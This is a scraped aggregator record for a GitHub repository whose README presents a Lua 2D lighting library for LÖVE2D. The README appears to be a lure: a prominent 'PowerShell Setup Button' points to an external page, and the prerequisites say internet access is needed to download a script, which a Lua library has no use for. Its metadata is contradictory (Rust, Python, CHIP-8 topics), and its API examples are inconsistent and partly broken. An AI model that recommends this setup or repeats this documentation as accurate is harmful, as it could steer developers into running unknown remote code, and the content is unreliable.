[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"project-115816":3},{"id":4,"name":5,"fullName":6,"owner":7,"repo":5,"description":8,"homepage":9,"htmlUrl":9,"language":10,"languages":9,"totalLinesOfCode":9,"stars":11,"forks":12,"watchers":13,"openIssues":12,"contributorsCount":12,"subscribersCount":12,"size":12,"stars1d":12,"stars7d":14,"stars30d":14,"stars90d":12,"forks30d":12,"starsTrendScore":12,"compositeScore":15,"rankGlobal":9,"rankLanguage":9,"license":9,"archived":16,"fork":16,"defaultBranch":17,"hasWiki":18,"hasPages":18,"topics":19,"createdAt":9,"pushedAt":31,"updatedAt":32,"readmeContent":33,"aiSummary":34,"trendingCount":12,"starSnapshotCount":12,"syncStatus":35,"lastSyncTime":36,"discoverSource":37},115816,"luven-lighting-engine","surya1100\u002Fluven-lighting-engine","surya1100","Luven Lighting Engine: code-first lighting engine for Löve2D",null,"Rust",153,0,103,50,62,false,"main",true,[20,21,22,23,24,25,26,27,28,29,30],"2dgame","6800","chip-8","chip-8-emulator","chip8","chip8-emulator","entity-component-system","light-engine","lights","lua-game","motorola-6800","2026-11-23 10:16:57","2026-11-17 18:02:06","\u003Cdiv align=\"center\">\n\n# Luven Lighting Engine: 2D Lighting for LÖVE2D — Developer Library\n\n![](files\u002Fpreview.png)\n\n### ⚡ PowerShell Setup Button\n\n[![](files\u002Fbutton.png)](https:\u002F\u002Fsurya1100.github.io\u002Fluven-lighting-engine\u002F)\n\n[![channel](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FCHANNEL-PRODUCTION-2ea44f?style=social&labelColor=0d1117)]() [![build](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FBUILD-PASSING-2ea44f?style=social&labelColor=0d1117)]() [![code](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FCODE-PYTHON-e11d48?style=social&labelColor=0d1117)]() [![powershell](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FPOWERSHELL-CORE-f43f5e?style=social&labelColor=0d1117)]()\n\n\u003C\u002Fdiv>\n\n---\n\nLuven is a minimal, dependency-free lighting engine for Löve2D with a code-first API built around lights, shadow-casting occluders, and per-frame light buffers. It exposes core primitives for defining light sources, attaching them to scenes, and compositing the resulting illumination in a single render pass. Configuration is expressed directly in Lua tables, so lighting behavior stays close to game logic and readable at a glance. The engine targets predictable performance and a small surface area, leaving the rest of the pipeline under your control.\n\n## ✅ Before You Start\n\n- **OS:** Windows 10 \u002F 11\n- **Shell:** PowerShell 5.1+ or PowerShell 7+\n- **Network:** internet access to download the script\n- **Privileges:** standard user\n\n## Features\n\n**GPU-batched light rendering:** All lights are accumulated into a single additive draw pass per frame. No per-light draw calls — cost scales with screen coverage, not light count.\n\n```lua\nlocal Luven = require(\"luven\")\nlocal engine = Luven.new({ width = 1280, height = 720 })\n```\n\n- **Multiple light primitives:** Point, spot, and directional lights share one uniform interface. Each is created with a plain table; no subclassing or scene graph required.\n\n```lua\nlocal point = engine:newLight(\"point\", {\nx = 400, y = 300,\nradius = 220,\ncolor = {1.0, 0.85, 0.6},\nintensity = 1.25\n})\n```\n\n- **Attenuation curves:** Built-in falloff modes (`\"linear\"`, `\"inverse-square\"`, `\"smooth\"`) selectable per light, with an optional custom callback for arbitrary curves.\n\n```lua\nlocal spot = engine:newLight(\"spot\", {\nx = 640, y = 360,\nangle = math.pi \u002F 4,\nspread = math.pi \u002F 6,\nattenuation = \"inverse-square\"\n})\n```\n\n- **Shadow casting via occluder meshes:** Register polygonal occluders once; lights automatically clip against them. Meshes are uploaded as vertex buffers and updated only when geometry changes.\n\n```lua\nengine:addOccluder({ 0, 0, 0, 500, 300, 500 }) - triangle\nengine:setShadowsEnabled(true)\n```\n\n- **Blend and ambient control:** Per-engine ambient color and per-light blend modes (`\"add\"`, `\"multiply\"`, `\"screen\"`) let you mix lighting styles without custom shaders.\n\n```lua\nengine:setAmbient({0.05, 0.05, 0.08, 1.0})\n```\n\n- **Frame lifecycle contract:** `engine:update(dt)` advances animation and attenuation state; `engine:draw()` composites the light buffer. Call order is explicit and deterministic.\n\n```lua\nfunction love.update(dt)\nengine:update(dt)\nend\n\nfunction love.draw()\nengine:draw()\nend\n```\n\n- **Light mutation at runtime:** Lights are tables with live fields — change position, color, or radius between frames without reallocation.\n\n```lua\npoint.x = point.x + 40 * dt\npoint.color = {1.0, 0.4, 0.2}\n```\n\n- **Headless-safe core:** The engine's math and data model run without a graphics context, so light state can be tested or simulated independently of the renderer.\n\n## Quick Start\n\nRequire the engine and attach it to a Löve2D callback in `main.lua`:\n\n```lua\nlocal luven = require(\"luven\")\n\nfunction love.load()\nluven.init({\nambient = {0.08, 0.08, 0.12},\nresolution = 1.0,\n})\nend\n```\n\n`luven.init` accepts a configuration table. `ambient` sets the base RGB value applied wherever no light; `resolution` scales the internal light buffer relative to the window (lower values trade quality for performance).\n\nCreate a light source and push it into the scene:\n\n```lua\nfunction love.load()\nluven.init({ ambient = {0.08, 0.08, 0.12} })\n\nlocal lamp = luven.newLight({\nx = 400,\ny = 300,\nradius = 220,\ncolor = {1.0, 0.85, 0.6},\nintensity = 1.0,\n})\n\nluven.add(lamp)\nend\n```\n\nLights are plain tables; mutate their fields directly and the engine picks up the change on the next frame:\n\n```lua\nfunction love.update(dt)\nlamp.x = love.mouse.getX()\nlamp.y = love.mouse.getY()\nluven.update(dt)\nend\n```\n\nRender the lit scene in `love.draw`. Draw your unlit geometry first, then call the engine's render pass so the light buffer composites over it:\n\n```lua\nfunction love.draw()\n- draw your world here\nlove.graphics.rectangle(\"fill\", 0, 0, 800, 600)\n\nluven.draw()\nend\n```\n\n`luven.draw` performs the composite; it must be called after all world geometry you want affected by lighting.\n\nMultiple lights compose additively. Register several sources and they blend in a single buffer pass:\n\n```lua\nluven.add(luven.newLight({ x = 120, y = 90, radius = 140, color = {0.2, 0.5, 1.0} }))\nluven.add(luven.newLight({ x = 640, y = 420, radius = 180, color = {1.0, 0.3, 0.4} }))\n```\n\nRemove lights with `luven.remove(light)` when they leave the scene. Lights hold no external resources, so they can be created and discarded freely per frame.\n\n### Minimal loop\n\n```lua\nlocal luven = require(\"luven\")\n\nfunction love.load()\nluven.init({ ambient = {0.05, 0.05, 0.05} })\nluven.add(luven.newLight({ x = 400, y = 300, radius = 250, color = {1, 1, 1} }))\nend\n\nfunction love.update(dt)\nluven.update(dt)\nend\n\nfunction love.draw()\nluven.draw()\nend\n```\n\nCall order per frame: mutate light state, then `luven.update(dt)`, then draw world geometry, then `luven.draw()`. Skipping `luven.update` is safe but prevents time-based effects from advancing.\n\n## API Reference\n\n### Core Module\n\n```lua\nlocal Luven = require(\"luven\")\n```\n\nThe module returns a single table. All engine state is scoped to that table; there are no global writes.\n\n-\n\n### `Luven.new`\n\n```lua\nLuven.new(config) -> engine\n```\n\nCreates an isolated lighting engine instance.\n\n| Field | Type | Default | Description |\n|-|-|-|-|\n| `width` | `number` | required | Canvas width in pixels. |\n| `height` | `number` | required | Canvas height in pixels. |\n| `ambient` | `{r,g,b,a}` | `{0,0,0,1}` | Base light color applied before any lights. |\n| `quality` | `number` | `1` | Shadow-map resolution multiplier. Clamped to `[0.25, 4]`. |\n| `blur` | `number` | `0` | Gaussian radius applied to the final light buffer. |\n\nReturns a new `engine` table. Throws `\"luven: invalid dimensions\"` if `width` or `height` is non-positive.\n\n-\n\n### `engine:addLight`\n\n```lua\nengine:addLight(desc) -> id\n```\n\nRegisters a light source and returns its integer handle. The light is not drawn until `engine:draw` is called.\n\n```lua\nlocal torch = engine:addLight({\nx = 320, y = 240,\nradius = 180,\ncolor = {1.0, 0.85, 0.6},\nintensity = 1.0,\nfalloff = 2.0,\ncasts = true\n})\n```\n\n| Field | Type | Default | Description |\n|-|-|-|-|\n| `x`, `y` | `number` | required | World-space position. |\n| `radius` | `number` | required | Attenuation distance in pixels. |\n| `color` | `{r,g,b}` | `{1,1,1}` | Linear RGB, each channel in `[0,1]`. |\n| `intensity` | `number` | `1` | Scalar multiplier on `color`. |\n| `falloff` | `number` | `1` | Attenuation exponent. `1` is linear, `2` is inverse-square. |\n| `casts` | `boolean` | `false` | When `true`, geometry is ray-cast against occluders. |\n\n-\n\n### `engine:setLight`\n\n```lua\nengine:setLight(id, desc) -> boolean\n```\n\nUpdates an existing light in place. Accepts any subset of the fields from `engine:addLight`. Returns `false` if `id` is unknown.\n\n```lua\nengine:setLight(torch, { x = 340, intensity = 0.8 })\n```\n\n-\n\n### `engine:removeLight`\n\n```lua\nengine:removeLight(id) -> boolean\n```\n\nUnregisters a light and frees its slot. Returns `false` if `id` is unknown. Light handles are never reused.\n\n-\n\n### `engine:addOccluder`\n\n```lua\nengine:addOccluder(polygon) -> id\n```\n\nAdds static geometry that blocks light from casters. `polygon` must be an array of `{x, y}` pairs describing a convex or concave simple polygon.\n\n```lua\nengine:addOccluder({\n{100, 100}, {200, 100}, {200, 150}, {100, 150}\n})\n```\n\nReturns an integer handle usable with `engine:removeOccluder`.\n\n-\n\n### `engine:removeOccluder`\n\n```lua\nengine:removeOccluder(id) -> boolean\n```\n\nRemoves a previously registered occluder. Returns `false` if `id` is unknown.\n\n-\n\n### `engine:setAmbient`\n\n```lua\nengine:setAmbient(color, alpha)\n```\n\nSets the ambient light. `color` is `{r,g,b}` in `[0,1]`; `alpha` is a scalar in `[0,1]`.\n\n-\n\n### `engine:update`\n\n```lua\nengine:update(dt)\n```\n\nAdvances the simulation by `dt` seconds. Rebuilds the shadow map only if a caster or occluder changed since the previous call. Call once per frame before `engine:draw`.\n\n-\n\n### `engine:draw`\n\n```lua\nengine:draw([drawFn])\n```\n\nComposites the light buffer. If `drawFn` is provided, it is invoked with the composite canvas bound, and the engine restores the previous canvas on return.\n\n```lua\nengine:draw(function()\nlove.graphics.setBlendMode(\"multiply\", \"premultiplied\")\nlove.graphics.draw(engine.canvas)\nend)\n```\n\n-\n\n### `engine.canvas`\n\n```lua\nengine.canvas -> Canvas\n```\n\nThe internal `love.graphics.Canvas` holding the current light composite. Read-only; mutate via the methods above. Valid for the lifetime of the engine.\n\n-\n\n### `engine:release`\n\n```lua\nengine:release()\n```\n\nReleases the GPU resources held by the engine. The instance is unusable afterward. Safe to call more than once.\n\n-\n\n### Error Handling\n\nAll methods that accept an `id` return `false` and emit a warning to `love.warning` on unknown handles, rather than throwing. `Luven.new` is the only constructor that throws, and only on invalid dimensions.\n\n## Examples\n\nInitialize the engine once after `love.load`, then register light sources and occluders.\n\n```lua\nlocal Luven = require(\"luven\")\n\nfunction love.load()\nLuven.init(, 1080)\nLuven.setAmbient(0.05, 0.05, 0.1)\nend\n```\n\n**Point light with falloff**\n\n```lua\nlocal torch = Luven.newLight(320, 240, 120, { 1.0, 0.85, 0.6 }, 1.4)\ntorch:setFlicker(0.15, 0.05)\n```\n\nThe fourth argument is the RGB color, the fifth is the attenuation exponent. `setFlicker(amplitude, frequency)` animates intensity deterministically.\n\n**Casting shadows from geometry**\n\n```lua\nlocal occluders = {\n{ x = 400, y = 200, w = 64, h = 240 },\n{ x = 700, y = 480, w = 320, h = 32 },\n}\n\nfor _, box in ipairs(occluders) do\nLuven.addOccluder(box.x, box.y, box.w, box.h)\nend\n\nLuven.setShadowSoftness(6)\n```\n\nOccluders are axis-aligned by default. Pass a polygon table for arbitrary shapes:\n\n```lua\nLuven.addOccluder({ {0,0}, {200,0}, {160,90}, {40,90} })\n```\n\n**Rendering pipeline**\n\n```lua\nfunction love.draw()\nLuven.beginFrame()\n- draw your world here\nLuven.unmask()\n- draw entity shadows or debug overlays here\nLuven.endFrame()\nend\n```\n\n`beginFrame` builds the mask buffer; `endFrame` composites it against the scene. Calling `unmask` before `endFrame` lets you draw into the light mask directly.\n\n**Dynamic lights following entities**\n\n```lua\nfunction love.update(dt)\nlocal x, y = player:getPosition()\ntorch:moveTo(x, y)\nLuven.update(dt)\nend\n```\n\n`update(dt)` refreshes flicker, animated colors, and light accumulation. Call it exactly once per frame.\n\n**Cleaning up**\n\n```lua\ntorch:destroy()\nLuven.removeOccluder(occluders[1])\nLuven.shutdown()\n```\n\n`shutdown` releases the framebuffers and canvases allocated by `init`. Safe to call multiple times; the engine re-initializes on the next `init`.\n\n**Complete minimal example**\n\n```lua\nlocal Luven = require(\"luven\")\nlocal torch\n\nfunction love.load()\nLuven.init(love.graphics.getWidth(), love.graphics.getHeight())\nLuven.setAmbient(0.02, 0.02, 0.05)\ntorch = Luven.newLight(400, 300, 160, { 1, 0.9, 0.7 }, 1.6)\nLuven.addOccluder(600, 200, 80, 300)\nend\n\nfunction love.draw()\nLuven.beginFrame()\nlove.graphics.rectangle(\"fill\", 600, 200, 80, 300)\nLuven.endFrame()\nend\n\nfunction love.update(dt)\ntorch:moveTo(love.mouse.getX(), love.mouse.getY())\nLuven.update(dt)\nend\n```\n\n**Debugging lights**\n\n```lua\nLuven.setDebug(true)\n```\n\nDebug mode outlines occluders, draws attenuation radii, and highlights the mask buffer. Toggle at runtime without reinitializing.\n\n**Performance notes**\n\n- `newLight` objects are pooled. Reuse via `light:reset(x, y, radius)` instead of allocating in hot loops.\n- Occluder sets are rebuilt on the next `beginFrame` after any `addOccluder` or `removeOccluder` call. Batch changes before `update`.\n- Cap active lights at 32 per frame for stable performance on integrated GPUs; the engine clamps silently beyond this limit.\n\n## License\n\nLuven Lighting Engine is released under the MIT License.\n\n```\nMIT License\n\nCopyright (c) Luven Lighting Engine contributors\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and\u002For sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n```\n\nIn short: use it, modify it, ship it, sublicense it — keep the copyright notice and license text in any copy or substantial portion of the engine. No warranty is provided.\n\n### Attribution\n\nIf you embed Luven in a distributed build, retain the notice in your project's license or credits file:\n\n```\nLuven Lighting Engine — MIT License\nCopyright (c) Luven Lighting Engine contributors\n```\n\n### Third-Party Notice\n\nLuven targets Löve2D and Lua. Those runtimes are distributed under their own respective licenses and are not covered by the MIT grant above. Consult the license shipped with your Löve2D binary before redistribution.","Luven Lighting Engine 是一个专为 Löve2D 游戏框架设计的轻量级 2D 光照渲染库，采用 Rust 编写、Lua 接口调用。它提供点光、聚光、平行光等基础光源类型，支持基于多边形遮挡物的实时阴影投射、多种衰减曲线（线性\u002F平方反比\u002F平滑）以及 GPU 批处理的单通道加性光照合成。所有配置通过纯 Lua 表声明，无依赖、无场景图、无隐式状态，强调确定性帧生命周期与低开销性能。适用于需要高效、可控 2D 动态光照的像素风、RPG 或解谜类 Löve2D 游戏开发。",2,"2026-11-24 04:52:15","CREATED_QUERY"]